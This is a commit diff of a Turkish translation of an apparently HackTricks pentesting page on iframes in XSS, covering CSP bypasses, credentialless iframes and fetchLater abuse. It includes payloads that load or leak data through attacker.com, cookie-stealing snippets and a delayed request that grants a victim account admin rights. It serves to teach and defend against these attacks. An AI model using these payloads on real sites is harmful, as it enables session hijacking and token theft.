Translated ['src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-

This commit is contained in:
Translator 2025-08-19 20:46:03 +00:00
parent 5f3d68f1cf
commit 0696a5dd78

View File

@ -6,7 +6,7 @@
Iframe'li bir sayfanın içeriğini belirtmenin 3 yolu vardır:
- Bir URL belirten `src` aracılığıyla (URL, farklı kökenli veya aynı kökenli olabilir)
- Bir URL belirten `src` aracılığıyla (URL, çapraz köken veya aynı köken olabilir)
- `data:` protokolünü kullanarak içeriği belirten `src` aracılığıyla
- İçeriği belirten `srcdoc` aracılığıyla
@ -46,22 +46,22 @@ alert(parent.secret)
</script>
```
Eğer önceki html'ye bir http sunucusu (örneğin `python3 -m http.server`) aracılığıyla erişirseniz, tüm scriptlerin çalıştırılacağını göreceksiniz (çünkü bunu engelleyen bir CSP yok). **Ana sayfa, herhangi bir iframe içindeki `secret` değişkenine erişemeyecek** ve **sadece if2 ve if3 iframe'leri (aynı site olarak kabul edilenler) orijinal penceredeki secret'a erişebilir**.\
if4'ün `null` kökenine sahip olduğu dikkate alın.
if4'ün `null` kökenine sahip olduğu not edilmelidir.
### CSP ile Iframe'ler <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
> [!TIP]
> Lütfen, aşağıdaki bypass'larda iframed sayfaya verilen yanıtın JS yürütümünü engelleyen herhangi bir CSP başlığı içermediğine dikkat edin.
> Lütfen, aşağıdaki bypass'lerde iframe'li sayfaya yanıtın JS çalıştırılmasını engelleyen herhangi bir CSP başlığı içermediğine dikkat edin.
`script-src`'nin `self` değeri, `data:` protokolü veya `srcdoc` niteliği kullanarak JS kodunun yürütülmesine izin vermeyecektir.\
Ancak, CSP'nin `none` değeri bile, `src` niteliğinde bir URL (tam veya sadece yol) koyan iframe'lerin yürütülmesine izin verecektir.\
`script-src`'nin `self` değeri, `data:` protokolü veya `srcdoc` niteliği kullanarak JS kodunun çalıştırılmasına izin vermeyecektir.\
Ancak, CSP'nin `none` değeri bile, `src` niteliğinde bir URL (tam veya sadece yol) koyan iframe'lerin çalıştırılmasına izin verecektir.\
Bu nedenle, bir sayfanın CSP'sini aşmak mümkündür:
```html
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
@ -81,7 +81,7 @@ Ancak, **yalnızca `if1` ve `if2` script'leri çalıştırılacak, fakat yalnız
![](<../../images/image (372).png>)
Bu nedenle, **eğer bir JS dosyasını sunucuya yükleyip iframe aracılığıyla yükleyebiliyorsanız CSP'yi atlatmak mümkündür, hatta `script-src 'none'` ile bile**. Bu, **potansiyel olarak aynı site JSONP uç noktasını kötüye kullanarak da yapılabilir**.
Bu nedenle, **eğer bir JS dosyasını sunucuya yükleyip iframe aracılığıyla yükleyebiliyorsanız CSP'yi atlatmak mümkündür, hatta `script-src 'none'` ile bile**. Bu, **aynı site JSONP uç noktasını kötüye kullanarak da potansiyel olarak yapılabilir**.
Bunu, `script-src 'none'` ile bile bir çerezin çalındığı aşağıdaki senaryo ile test edebilirsiniz. Uygulamayı çalıştırın ve tarayıcınızla erişin:
```python
@ -103,7 +103,43 @@ return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
```
### Diğer Yükler doğada bulundu <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
#### Yeni (2023-2025) CSP atlatma teknikleri ile iframeler
Araştırma topluluğu, kısıtlayıcı politikaları aşmak için iframeleri kötüye kullanmanın yaratıcı yollarını keşfetmeye devam ediyor. Aşağıda son birkaç yıl içinde yayımlanan en dikkat çekici teknikleri bulabilirsiniz:
* **Dangling-markup / named-iframe veri sızıntısı (PortSwigger 2023)** Bir uygulama HTML'yi yansıttığında ancak güçlü bir CSP script yürütümünü engellediğinde, *dangling* `<iframe name>` niteliğini enjekte ederek hassas token'ları sızdırabilirsiniz. Kısmi markup ayrıştırıldığında, ayrı bir kök altında çalışan saldırgan script, çerçeveyi `about:blank`'a yönlendirir ve artık bir sonraki alıntı karakterine kadar her şeyi içeren `window.name`'i okur (örneğin bir CSRF token'ı). Kurban bağlamında JavaScript çalışmadığı için, saldırı genellikle `script-src 'none'`'dan kaçınır. Minimal bir PoC:
```html
<!-- Hassas bir <script>'ten hemen önceki enjekte noktası -->
<iframe name="//attacker.com/?"> <!-- nitelik kasıtlı olarak açık bırakıldı -->
````
```javascript
// attacker.com çerçevesi
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → sızdırılan değer
```
* **Aynı kök iframeden nonce çalınması (2024)** CSP nonceleri DOM'dan kaldırılmaz; yalnızca DevTools'ta gizlenir. Bir saldırgan *aynı kök* bir iframe enjekte edebilirse (örneğin HTML'yi siteye yükleyerek), çocuk çerçeve basitçe `document.querySelector('[nonce]').nonce` sorgulayabilir ve politikayı karşılayan yeni `<script nonce>` düğümleri oluşturabilir, bu da `strict-dynamic` olmasına rağmen tam JavaScript yürütümü sağlar. Aşağıdaki gadget, bir markup enjesini XSS'ye yükseltir:
```javascript
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
```
* **Form-action kaçırma (PortSwigger 2024)** `form-action` direktifini atlayan bir sayfanın giriş formu, enjekte edilmiş bir iframe veya satır içi HTML'den *yeniden hedeflenebilir*, böylece şifre yöneticileri kimlik bilgilerini otomatik olarak doldurup dış bir domaine gönderebilir, hatta `script-src 'none'` mevcut olduğunda bile. Her zaman `default-src`'yu `form-action` ile tamamlayın!
**Savunma notları (hızlı kontrol listesi)**
1. İkincil bağlamları kontrol eden *tüm* CSP direktiflerini her zaman gönderin (`form-action`, `frame-src`, `child-src`, `object-src`, vb.).
2. Noncelerin gizli olduğuna güvenmeyin—`strict-dynamic` **ve** enjekte noktalarını ortadan kaldırın.
3. Güvensiz belgeleri gömmek zorunda kaldığınızda `sandbox="allow-scripts allow-same-origin"` **çok dikkatli** kullanın (yalnızca script yürütüm izolasyonu gerekiyorsa `allow-same-origin` olmadan).
4. Derinlikte bir savunma COOP+COEP dağıtımını düşünün; yeni `<iframe credentialless>` niteliği (§ aşağıda) bunu üçüncü taraf gömme işlemlerini bozmayacak şekilde yapmanıza olanak tanır.
### Doğada bulunan diğer yükler <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
```html
<!-- This one requires the data: scheme to be allowed -->
<iframe
@ -121,33 +157,41 @@ Iframe içindeki içerik, `sandbox` niteliği kullanılarak ek kısıtlamalara t
Kullanıldığında, `sandbox` niteliği birkaç sınırlama getirir:
- İçerik, sanki benzersiz bir kaynaktan geliyormuş gibi muamele görür.
- Formları göndermeye yönelik herhangi bir girişim engellenir.
- İçerik, benzersiz bir kaynaktan geliyormuş gibi muamele görür.
- Form gönderme girişimleri engellenir.
- Scriptlerin çalıştırılması yasaktır.
- Belirli API'lere erişim devre dışı bırakılır.
- Bağlantıların diğer tarayıcı bağlamlarıyla etkileşimde bulunması engellenir.
- `<embed>`, `<object>`, `<applet>` veya benzeri etiketler aracılığıyla eklentilerin kullanımı yasaktır.
- İçeriğin kendisi tarafından üst düzey tarayıcı bağlamına navigasyon engellenir.
- Video oynatma veya form kontrollerinin otomatik odaklanması gibi otomatik olarak tetiklenen özellikler engellenir.
- Video oynatma veya form kontrollerinin otomatik odaklanması gibi otomatik tetiklenen özellikler engellenir.
İpucu: Modern tarayıcılar, `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation` gibi ayrıntılı bayrakları destekler. Gömülü uygulamanın ihtiyaç duyduğu minimum yetenekleri sağlamak için bunları birleştirin.
Nitelik değeri, yukarıda belirtilen tüm kısıtlamaları uygulamak için boş bırakılabilir (`sandbox=""`). Alternatif olarak, iframe'i belirli kısıtlamalardan muaf tutan, boşlukla ayrılmış belirli değerler listesi olarak ayarlanabilir.
```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
```
### Credentialless iframes
[Bu makalede](https://blog.slonser.info/posts/make-self-xss-great-again/) açıklandığı gibi, bir iframe'deki `credentialless` bayrağı, yüklenen sayfanın aynı köken politikasını (SOP) korurken, bir iframe içinde bir sayfayı kimlik bilgileri göndermeden yüklemek için kullanılır.
As explained in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), the `credentialless` flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.
Bu, iframe'in, ana sayfada yüklenen aynı SOP'deki başka bir iframe'den hassas bilgilere erişmesine olanak tanır:
Since **Chrome 110 (Şubat 2023) bu özellik varsayılan olarak etkin** ve spesifikasyon, *anonymous iframe* adı altında tarayıcılar arasında standart hale getirilmektedir. MDN bunu şöyle tanımlıyor: “gerçek kökenle hiçbir çerez, localStorage veya IndexedDB paylaşılmayacak şekilde üçüncü taraf iframeleri yüklemek için yeni, geçici bir depolama bölümü oluşturma mekanizması”. Saldırganlar ve savunucular için sonuçlar:
* Farklı credentialless iframelerdeki **scriptler hala aynı üst düzey kökeni paylaşır** ve DOM aracılığıyla serbestçe etkileşimde bulunabilir, bu da çoklu iframe self-XSS saldırılarını mümkün kılar (aşağıdaki PoC'ye bakın).
* Ağ **credential-stripped** olduğu için, iframedeki herhangi bir istek etkili bir şekilde kimlik doğrulaması yapılmamış bir oturum gibi davranır CSRF korumalı uç noktalar genellikle başarısız olur, ancak DOM aracılığıyla sızdırılabilir kamu sayfaları hala kapsamda kalır.
* Credentialless iframeden oluşturulan pop-up'lar, bazı OAuth akışlarını bozarak örtük bir `rel="noopener"` alır.
```javascript
window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
```
- Exploit örneği: Self-XSS + CSRF
- Sömürü örneği: Self-XSS + CSRF
Bu saldırıda, saldırgan 2 iframe içeren kötü niyetli bir web sayfası hazırlar:
- `credentialless` bayrağı ile kurbanın sayfasını yükleyen bir iframe ve bir XSS tetikleyen bir CSRF (Kullanıcının kullanıcı adında bir Self-XSS hayal edin):
- `credentialless` bayrağı ile kurbanın sayfasını yükleyen bir iframe ve bir XSS tetikleyen CSRF (Kullanıcının kullanıcı adında bir Self-XSS hayal edin):
```html
<html>
<body>
@ -165,15 +209,15 @@ document.forms[0].submit();
- Gerçekten kullanıcının giriş yaptığı ( `credentialless` bayrağı olmadan) başka bir iframe.
Sonra, XSS'den diğer iframe'e erişmek mümkündür çünkü aynı SOP'ye sahiptirler ve örneğin çerezi çalmak için şu komutu çalıştırabilirsiniz:
Sonra, XSS'ten diğer iframe'e erişmek mümkündür çünkü aynı SOP'ye sahiptirler ve örneğin çerezi çalmak için şu komutu çalıştırabilirsiniz:
```javascript
alert(window.top[1].document.cookie);
```
### fetchLater Saldırısı
[Bu makalede](https://blog.slonser.info/posts/make-self-xss-great-again/) belirtildiği gibi, `fetchLater` API'si bir isteğin daha sonra (belirli bir süre sonra) yürütülmesi için yapılandırılmasına olanak tanır. Bu nedenle, bu, örneğin, bir kurbanı bir saldırganın oturumu içinde (Self-XSS ile) oturum açmak, mevcut kullanıcının şifresini değiştirmek için bir `fetchLater` isteği ayarlamak ve saldırganın oturumundan çıkmak için kötüye kullanılabilir. Ardından, kurban kendi oturumuna giriş yapar ve `fetchLater` isteği yürütülerek, kurbanın şifresi saldırgan tarafından ayarlanan şifreye değiştirilir.
[Bu makalede](https://blog.slonser.info/posts/make-self-xss-great-again/) belirtildiği gibi, `fetchLater` API'si bir isteğin daha sonra (belirli bir süre sonra) yürütülmesi için yapılandırılmasına olanak tanır. Bu nedenle, örneğin, bir kurbanı bir saldırganın oturumu içinde (Self-XSS ile) oturum açmak, bir `fetchLater` isteği ayarlamak (örneğin, mevcut kullanıcının şifresini değiştirmek için) ve saldırganın oturumundan çıkmak için kötüye kullanılabilir. Ardından, kurban kendi oturumuna giriş yapar ve `fetchLater` isteği yürütülerek, kurbanın şifresi saldırgan tarafından ayarlanan şifreye değiştirilir.
Bu şekilde, kurbanın URL'si bir iframe içinde yüklenemese bile (CSP veya diğer kısıtlamalar nedeniyle), saldırgan yine de kurbanın oturumunda bir isteği yürütme yeteneğine sahip olabilir.
Bu şekilde, kurban URL'si bir iframe içinde yüklenemese bile (CSP veya diğer kısıtlamalar nedeniyle), saldırgan yine de kurbanın oturumunda bir isteği yürütme yeteneğine sahip olabilir.
```javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
@ -183,7 +227,7 @@ fetchLater(req,{activateAfter: timeout})
```
## SOP'de Iframe'ler
Aşağıdaki sayfaları kontrol edin:
Aşağıdaki sayfalara göz atın:
{{#ref}}
../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
@ -201,4 +245,10 @@ Aşağıdaki sayfaları kontrol edin:
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
{{#endref}}
## Referanslar
* [PortSwigger Araştırma CSP'yi aşmak için form kaçırma kullanma (Mart 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
* [Chrome Geliştiricileri Iframe kimlik bilgisi olmadan: COEP ortamlarında iframe'leri kolayca gömme (Şub 2023)](https://developer.chrome.com/blog/iframe-credentialless)
{{#include ../../banners/hacktricks-training.md}}